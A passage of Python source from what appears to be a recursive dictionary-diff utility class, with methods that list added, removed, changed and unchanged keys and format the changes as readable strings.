cls.NONE_VALUE: old_value = "nothing" elif isinstance(diff_dict[p]["old"], six.string_types): old_value = "'{0}'".format(diff_dict[p]["old"]) elif isinstance(diff_dict[p]["old"], list): old_value = "'{0}'".format(", ".join(diff_dict[p]["old"])) new_value = diff_dict[p]["new"] if diff_dict[p]["new"] == cls.NONE_VALUE: new_value = "nothing" elif isinstance(diff_dict[p]["new"], six.string_types): new_value = "'{0}'".format(diff_dict[p]["new"]) elif isinstance(diff_dict[p]["new"], list): new_value = "'{0}'".format(", ".join(diff_dict[p]["new"])) changes_strings.append( "{0} from {1} to {2}".format(p, old_value, new_value) ) else: sub_changes = cls._get_changes(diff_dict[p]) if sub_changes: changes_strings.append("{0}:".format(p)) changes_strings.extend([" {0}".format(c) for c in sub_changes]) return changes_strings def added(self): def _added(diffs, prefix): keys = [] for key in diffs.keys(): if isinstance(diffs[key], dict) and "old" not in diffs[key]: keys.extend( _added(diffs[key], prefix="{0}{1}.".format(prefix, key)) ) elif diffs[key]["old"] == self.NONE_VALUE: if isinstance(diffs[key]["new"], dict): keys.extend( _added( diffs[key]["new"], prefix="{0}{1}.".format(prefix, key) ) ) else: keys.append("{0}{1}".format(prefix, key)) return keys return sorted(_added(self._diffs, prefix="")) def removed(self): def _removed(diffs, prefix): keys = [] for key in diffs.keys(): if isinstance(diffs[key], dict) and "old" not in diffs[key]: keys.extend( _removed(diffs[key], prefix="{0}{1}.".format(prefix, key)) ) elif diffs[key]["new"] == self.NONE_VALUE: keys.append("{0}{1}".format(prefix, key)) elif isinstance(diffs[key]["new"], dict): keys.extend( _removed( diffs[key]["new"], prefix="{0}{1}.".format(prefix, key) ) ) return keys return sorted(_removed(self._diffs, prefix="")) def changed(self): def _changed(diffs, prefix): keys = [] for key in diffs.keys(): if not isinstance(diffs[key], dict): continue if isinstance(diffs[key], dict) and "old" not in diffs[key]: keys.extend( _changed(diffs[key], prefix="{0}{1}.".format(prefix, key)) ) continue if self.ignore_unset_values: if ( "old" in diffs[key] and "new" in diffs[key] and diffs[key]["old"] != self.NONE_VALUE and diffs[key]["new"] != self.NONE_VALUE ): if isinstance(diffs[key]["new"], dict): keys.extend( _changed( diffs[key]["new"], prefix="{0}{1}.".format(prefix, key), ) ) else: keys.append("{0}{1}".format(prefix, key)) elif isinstance(diffs[key], dict): keys.extend( _changed(diffs[key], prefix="{0}{1}.".format(prefix, key)) ) else: if "old" in diffs[key] and "new" in diffs[key]: if isinstance(diffs[key]["new"], dict): keys.extend( _changed( diffs[key]["new"], prefix="{0}{1}.".format(prefix, key), ) ) else: keys.append("{0}{1}".format(prefix, key)) elif isinstance(diffs[key], dict): keys.extend( _changed(diffs[key], prefix="{0}{1}.".format(prefix, key)) ) return keys return sorted(_changed(self._diffs, prefix="")) def unchanged(self): def _unchanged(current_dict, diffs, prefix): keys = [] for key in current_dict.keys(): if key not in diffs: keys.append("{0}{1}".format(prefix, key)) elif isinstance(current_dict[key], dict): if "new" in diffs[key]: continue else: keys.extend( _unchanged( current_dict[key], diffs[key], prefix="{0}{1}.".format(prefix, key), ) ) return keys return sorted(_unchanged(self.current_dict, self._diffs, prefix="")) @property def diffs(self): return self._diffs @property def new_values(self): return self._get_values(self._diffs, type="new") @property def old_values(self): return self._get_values(self._diffs, type="old") @property def changes_str(self): return "\n".join(self._get_changes(self._diffs))
true
true